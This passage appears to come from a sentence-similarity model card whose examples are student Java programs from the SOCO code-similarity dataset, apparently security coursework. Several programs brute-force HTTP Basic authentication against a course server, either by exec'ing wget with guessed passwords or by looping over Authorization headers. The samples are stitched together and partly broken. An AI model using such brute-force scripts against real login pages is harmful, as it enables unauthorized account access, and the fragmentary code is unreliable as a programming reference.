}

  
static public byte[] decode(char[] data)
{
    
    
    
    
    
    

    int tempLen = data.length;
    for( int ix=0; ix<data.length; ix++ )
    {
        if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
            --tempLen;  
    }
    
    
    
    

    int len = (tempLen / 4) * 3;
    if ((tempLen % 4) == 3) len += 2;
    if ((tempLen % 4) == 2) len += 1;

    byte[] out = new byte[len];



    int shift = 0;   
    int accum = 0;   
    int index = 0;

    
    for (int ix=0; ix<data.length; ix++)
    {
        int value = (data[ix]>255)? -1: codes[ data[ix] ];

        if ( value >= 0 )           
        {
            accum <<= 6;            
            shift += 6;             
            accum |= value;         
            if ( shift >= 8 )       
            {
                shift -= 8;         
                out[index++] =      
                    (byte) ((accum >> shift) & 0xff);
            }
        }
        
        
        
        
        
        
    }

    
    if( index != out.length)
    {
        throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
    }

    return out;
}





static private char[] alphabet =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        .toCharArray();




static private byte[] codes = new byte[256];
static {
    for (int i=0; i<256; i++) codes[i] = -1;
    for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
    for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
    for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
    codes['+'] = 62;
    codes['/'] = 63;
}
}, 
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;

public class WatchDog
{
   public static void main (String args[])
   {
      String url = "http://yallara.cs.rmit.edu./~";
      String file1 = "test1.txt";
      int flag = 0;

      
      WriteFile write = new WriteFile(url, file1, flag);

      
      
      new DoSleep().print();
   }
}

class DoSleep extends Thread
{
   public synchronized void run()
   {
      String url = "http://yallara.cs.rmit.edu./~";
      String file2 = "test2.txt";
      int flag = 1;
      int status = 0;
      String file1 = "test1.txt";

      System.out.println("Checking.........");
      try
      {
         
         
         
         sleep();

         
         
         WriteFile write = new WriteFile(url, file2, flag);

         status = write.getStatus();
         

          if(status != 0)
          {
             int flag2 = 0;
             
             
             WriteFile write2 = new WriteFile(url, file1, flag2);
          }
          
          new DoSleep().print();
      }
      catch (InterruptedException e) {}
   }
}


, 






import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{

	public static void main(String[] args)    
	{
          Runtime rt = Runtime.getRuntime();
	  Process pr= null;
          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
	  String pass;
          char temp[] = {'a','a'};
          char temp1[] = {'a','a','a'};
          char temp2[] = {'a'};

	  String f= new String();
          String resp = new String();
          int count=0;
          String success = new String();
          InputStreamReader  instre;
          BufferedReader bufread;


               for(int k=0;k<52;k++)
                {
                 temp2[0]=chars[k];
                 pass = new String(temp2);              
                 count++;              

        System.out.println("The password  tried is------->"+pass+"---and attempt is=="+count);
          
              f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
                             {
                              System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                }



  
            for(int j=0;j<52;j++)
              {
                for(int k=0;k<52;k++)
                {
                 temp[0]=chars[j];
                 temp[1]=chars[k];

                 pass = new String();              
                 count++;              

                 System.out.println("The password  tried is------->"+pass+"---and attempt is=="+count);
          
                f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
                             {
                              System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                 }
               }


     
         for(int i=0;i<52;i++)
            for(int j=0;j<52;j++)
               for(int k=0;k<52;k++)
                {
                 temp1[0]=chars[i];
                 temp1[1]=chars[j];
                 temp1[2]=chars[k];
                 pass = new String(temp1);              
                 count++;              

        System.out.println("The password  tried is------->"+pass+"---and attempt is=="+count);
          
              f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
                             {
                              System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                }
	
		
	}
	
	
} 
		
, source_sentence: 

import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;

public class BruteForce extends Frame implements ActionListener {
	private TextField tf = new TextField();
    private TextArea  ta = new TextArea();

  	public void actionPerformed (ActionEvent e) {
		String s = tf.getText();
		String login="";

		if (s.length() != 0)
		{
			char symbol = 'A';

			login=":";
			
			for(int i = 0; i < 3; i++)
			{
				symbol = (char)(57.0 * Math.random() + 65);

				if(symbol>90 && symbol<97){
					i--;
					continue;
				}
				login=login+symbol;

			}

		    ta.setText (fetchURL (s,login));
		    System.out.println("runing"+login);
		}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error  URL")!=0);

		System.out.println("The password is: "+login);
	}

	public BruteForce() {
		super ("SEC-CRACK");

	    
	    add (tf, BorderLayout.LEFT);
	    ta.setEditable(false);
	    add (ta, BorderLayout.CENTER);
	    tf.addActionListener (this);

	    addWindowListener (new WindowAdapter() {
	       public void windowClosing (WindowEvent e) {
	         dispose();
	         System.exit(0);
	       }
	     });
	}

	private String fetchURL (String urlString,String login) {
		StringWriter sw = new StringWriter();
	    PrintWriter  pw = new PrintWriter();

	    try {
	       URL url = new URL (urlString);

	     
	
	       

	      
	       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());

	      
	       URLConnection uc = url.openConnection();
	       uc.setRequestProperty  ("Authorization", " " + encoding);
	       InputStream content = (InputStream)uc.getInputStream();
	       BufferedReader in   =
	         new BufferedReader (new InputStreamReader (content));
	       String line;
	       while ((line = in.readLine()) != null) {
	         pw.println (line);
	       }
	     } catch (MalformedURLException e) {
	       pw.println ("Invalid URL");
	     } catch (IOException e) {
	       pw.println ("Error  URL");
	     }
	     return sw.toString();
	}


	public static void  main(String args[]) {
		Frame f = new BruteForce();
	    f.setSize(300, 300);
	    f.setVisible (true);
	}
}




class  Base64Converter
{
	public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 


     public static String  encode ( String  s )
     {
        return encode ( s.getBytes ( ) );
     }

     public static String  encode ( byte [ ]  octetString )
     {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
       {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ];
       }

       if ( octetString.length - i == 2 )
       {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];

          
          out [ outIndex++ ] = '=';
          out [ outIndex++ ] = '=';
        }

       return new String ( out );
     }
}


sentences: 

import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class BruteForce extends Thread
{
   private static final String USERNAME = "";
   private static final char [] POSSIBLE_CHAR =
        {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
         'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
         'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private static int NUMBER_OF_THREAD = 500;

   private static Date startDate = null;
   private static Date endDate = null;

   private String address;
   private String password;

   public BruteForce(String address, String password)
   {
      this.address = address;
      this.password = password;
   }

   public static void main(String[] args) throws IOException
   {
      if (args.length < 1)
      {
         System.err.println("Invalid usage!");
         System.err.println("Usage: java BruteForce <url>");
         System.exit(1);
      }

      try
      {
         brute(args[0], USERNAME);
      }
      catch(Exception e)
      {
         e.printStackTrace();
         System.exit(1);
      }
   }

   public static void brute(String address, String user)
   {
      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
      int index = 0;

      startDate = new Date();
      for(int i = 0; i < POSSIBLE_CHAR.length; i++)
      {
         for(int j = 0; j < POSSIBLE_CHAR.length; j++)
         {
            for(int k = 0; k < POSSIBLE_CHAR.length; k++)
            {
               String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
                                 POSSIBLE_CHAR[k];

               if (threads[index] != null && threads[index].isAlive())
               {
                  try
                  {
                     threads[index].join();
                  }
                  catch(InterruptedException e ) {}
               }
               threads[index] = new BruteForce(address, password);
               threads[index].get();

               index = (index++) % threads.length;
            }
         }
      }
   }

   public void run()
   {
      if (endDate != null)
         return;

      try
      {

         URLConnection conn = (new URL(address)).openConnection();
         conn.setDoInput(true);

         if (login(conn, USERNAME, password))
         {
            endDate = new Date();
            System.out.println("Found the password: \""+password+"\"!");
            SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
            System.out.println("Process started at: "+format.format(startDate));
            System.out.println("Process started at: "+format.format(endDate));
            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
            System.out.println("Time taken: "+timeTaken+" minutes");
            System.exit(0);
         }
         else
         {
            System.out.println("Password: \""+password+"\" Failed!");
            return;
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }

   }

   public static boolean login(URLConnection conn, String user, String pass)
   {
      try
      {
         String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
         conn.setRequestProperty ("Authorization", encodeAuth);
         conn.connect();
         conn.getInputStream();
      }
      catch(Exception e)
      {
         return false;
      }
      return true;
   }
}


, 

import java.net.*;
import java.io.*;

public class Base64Encoder
{
   private final static char base64Array [] = {
          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
          'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
          'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
          'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
          'w', 'x', 'y', 'z', '0', '1', '2', '3',
          '4', '5', '6', '7', '8', '9', '+', '/'
     };

   public static String encode (String string)
   {
      String encodedString = "";
      byte bytes [] = string.getBytes ();
      int i = 0;
      int pad = 0;
      while (i < bytes.length)
      {
         byte b1 = bytes [i++];
         byte b2;
         byte b3;
         if (i >= bytes.length)
         {
            b2 = 0;
            b3 = 0;
            pad = 2;
         }
         else
         {
            b2 = bytes [i++];
            if (i >= bytes.length)
            {
               b3 = 0;
               pad = 1;
            }
            else
               b3 = bytes [i++];
         }

         byte c1 = (byte)(b1 >> 2);
         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
         byte c4 = (byte)(b3 & 0x3f);
         encodedString += base64Array [c1];
         encodedString += base64Array [c2];
         switch (pad)
         {
            case 0:
               encodedString += base64Array [c3];
               encodedString += base64Array [c4];
               break;
            case 1:
               encodedString += base64Array [c3];
               encodedString += "=";
               break;
            case 2:
               encodedString += "==";
               break;
         }
      }
      return encodedString;
   }
}
, import java.net.*;
import java.io.*;

 public class Bruteforce {
 int attempts = 0;
  int l = 65;int m = 65;int n = 65;
   URLConnection conn = null;

   public static void  main(String args[]){
     
	Bruteforce a = new Bruteforce();
        a.attack(args);
     }

   public void attack(String args[]) {
   try {

       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();

	 passwd = getPasswd();
         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries");
       }
     catch (IOException e) {
    
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     System.out.println("Trying again with new password");
     Bruteforce a = new Bruteforce();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again with new password");
	Bruteforce a = new Bruteforce();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {
    attempts++;

    char i1 = 0;
    char j1 = 0;
    char k1 = 0;
    
     int i= l;     int j= m;     int k= n;

    String c = new String();
    String c1 = new String();
    String c2 = new String();
    String c3 = new String();
    String c4 = new String();
    boolean flag;

    for (i=l;i<123;i++)
    for (j=m;j<123;j++)
    for (k=n;k<123;k++)
    {
        if( flag = true )
        {

    i1 = (char)i;
    j1 = (char)j;
    k1 = (char)k;

    if (i==91) i=97;
    if (j==91) j=97;
    if (k==91) k=97;

    c = i1+"";
    c1 = j1+"";
    c2 = k1+"";
    c3 = c.concat(c1);
    c4 = c3.concat(c2);
    }else break;
    }
    flag = false;
    return c4;
  }

 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String PasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case  2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 42
Created: 2025-06-11 10:05:01